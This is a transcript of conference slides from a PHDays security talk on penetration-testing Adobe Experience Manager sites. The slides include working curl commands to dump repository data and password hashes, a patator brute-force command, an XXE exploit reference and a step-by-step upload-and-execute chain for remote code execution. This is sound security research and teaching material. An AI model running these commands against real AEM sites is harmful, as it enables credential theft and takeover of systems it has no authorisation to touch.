Доклад Михаила Егорова на phdays

23
H a ck1ng Adobe Experience Manager sites

Upload: ruparallels

Post on 11-Aug-2015

71 views

Category:

Internet


7 download

TRANSCRIPT

Page 1: Доклад Михаила Егорова на PHDays

Hack1ng Adobe Experience

Manager sites

Page 2: Доклад Михаила Егорова на PHDays

• Mikhail Egorov

• Security researcher

• Works in Odin (Parallels)

• 0ang3el (at) gma1l (d0t) com

Who is that guy?

Page 3: Доклад Михаила Егорова на PHDays

• http://resources.infosecinstitute.com/adobe-cq-pentesting-guide-part-1/

• http://www.slideshare.net/CQCON/prsentation-ben-zahler

• https://docs.adobe.com/docs/en/aem/6-0/administer/security/security-checklist.html

Related Work

Page 4: Доклад Михаила Егорова на PHDays

• Sensitive information from JCR

• Installed OSGI bundles

• Custom scripts

• Usernames

• Password hashes

• Elements that allow anonymous modification

What do we want

Page 5: Доклад Михаила Егорова на PHDays

• Use JsonRendererServlet

Sensitive information from JCR

curl -X “GET” http://127.0.0.1:8080/.json

curl -X “GET” http://127.0.0.1:8080/.6.json

curl -X “GET” http://127.0.0.1:8080/.tidy.6.json

curl -X “GET” http://127.0.0.1:8080/.tidy.infinity.json

Page 6: Доклад Михаила Егорова на PHDays

• List of all bundles

• QueryBuilder is your friend! http://docs.adobe.com/docs/en/cq/5-6-1/dam/customizing_and_extendingcq5dam/query_builder.html

Installed OSGI bundles

curl -X “GET” http://127.0.0.1:8080/bin.tidy.infinity.json

curl -X “GET” http://127.0.0.1:8080/bin/querybuilder.json

Page 7: Доклад Михаила Егорова на PHDays

• List customs scripts

• List compiled custom scripts from cache

Custom scripts

curl -X “GET” http://127.0.0.1:8080/apps.tidy.infinity.json

curl -X “GET” http://127.0.0.1:8080/var/classes.tidy.infinity.json

Page 8: Доклад Михаила Егорова на PHDays

• Dump content node properties

• Use regular expression to extract usernames (pipe with prev command)

Usernames

curl -X “GET” http://127.0.0.1:8080/content.infinity.json

python -c 'import sys,re; print "\n".join([m.group(1) for m in

re.finditer("\".+?By\":\"(.+?)\"",sys.stdin.readlines()[0])])' |

sort –u

Page 9: Доклад Михаила Егорова на PHDays

• Use QueryBuilder bundle

Password hashes

curl -X “GET”

http://127.0.0.1:8080/bin/querybuilder.json?type=rep:User&p.hits=sel

ective&p.properties=rep:principalName%20rep:password&p.limit=100

Page 10: Доклад Михаила Егорова на PHDays

• Dump content node properties

• Use regular expression to check (pipe with prev command)

Anonymous modification

curl -X “GET” http://127.0.0.1:8080/content.infinity.json

python -c 'import sys,re; m =

re.search("\".+?By\":\"anonymous\"",sys.stdin.readlines()[0]); print

"Anon modification: ","Yes" if m else "No"'

Page 11: Доклад Михаила Егорова на PHDays

• Try default user credentials: admin/admin, author/author, anonymous/anonymous

• Offline attack (brute hashes)

• Online attack (POST servlet bundle)

Getting access

patator http_fuzz url=http://127.0.0.1:8080/content/fake.json

method=POST user_pass=FILE0:FILE1 0=users.txt 1=pass.txt

auth_type=basic -x ignore:code!=200 --threads 5

Page 12: Доклад Михаила Егорова на PHDays

• XSS

• CSRF

• DoS

• Read local files

• RCE

You have access, now what?

Not covered, sorry!

Page 13: Доклад Михаила Егорова на PHDays

• CVE-2015-1833 ( http://seclists.org/oss-sec/2015/q2/518 )

• Webdav OSGI bundle uses XML parser that is not properly initialized

• Exploit - https://www.exploit-db.com/exploits/37110/

Webdav bundle, XXE

Page 14: Доклад Михаила Егорова на PHDays

• Out-of-bound exploitationhttp://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

• Pros: works with anonymous credentials

• Cons: you need external server, instable

• Inbound exploitation• Pros: you do not need external server, more stable

• Cons: you need credentials of the user that is able to modify some node in JCR

Webdav bundle, XXE

Page 15: Доклад Михаила Егорова на PHDays

http://www.youtube.com/watch?v=Hg3AXoG89Gs

Webdav bundle, XXE Demo

Page 16: Доклад Михаила Егорова на PHDays

• We have node – http://127.0.0.1:8080/rce

• We have script exec.jsp that is magically loaded into node –http://127.0.0.1:8080/apps/rcetype

• When someone navigates to http://127.0.0.1:8080/rce.exec our exec.jsp will be executed.

Remote code execution

{"jcr:createdBy":"admin","jcr:created":"Sun May 03 2015 21:24:38

GMT+0300","jcr:primaryType":"nt:folder","exec.jsp":{"jcr:createdBy":"admin","jcr:crea

ted":"Sun May 03 2015 21:24:38 GMT+0300","jcr:primaryType":"nt:file"}}

{"sling:resourceType":"rcetype","jcr:primaryType":"nt:unstructured"}

Page 17: Доклад Михаила Егорова на PHDays

• Step I: Create rcetype node

Remote code execution

curl –u admin:admin –Fjcr:primaryType=nt:folder

http://127.0.0.1:8080/content/rcetype

Page 18: Доклад Михаила Егорова на PHDays

• Step II: Upload script exec.jsp to rcetype node

Remote code execution

curl –u admin:admin –[email protected]

http://127.0.0.1:8080/content/rcetype

Page 19: Доклад Михаила Егорова на PHDays

• Step III: Copy rcetype to /apps

Remote code execution

curl –u admin:admin –F:operation=copy –F:dest=/apps/rcetype

http://127.0.0.1:8080/content/rcetype

Page 20: Доклад Михаила Егорова на PHDays

• Step IV: Create rce node bound to rcetype

Remote code execution

curl –u admin:admin –Fsling:resourceType=rcetype

http://127.0.0.1:8080/content/rce

Page 21: Доклад Михаила Егорова на PHDays

• Step V: Launch jsp script

Remote code execution

curl –X “GET” http://127.0.0.1:8080/content/rce.exec

Page 22: Доклад Михаила Егорова на PHDays

http://www.youtube.com/watch?v=Z9n2T07e6Ls

Remote code execution, Demo

Page 23: Доклад Михаила Егорова на PHDays

Ask a Ninja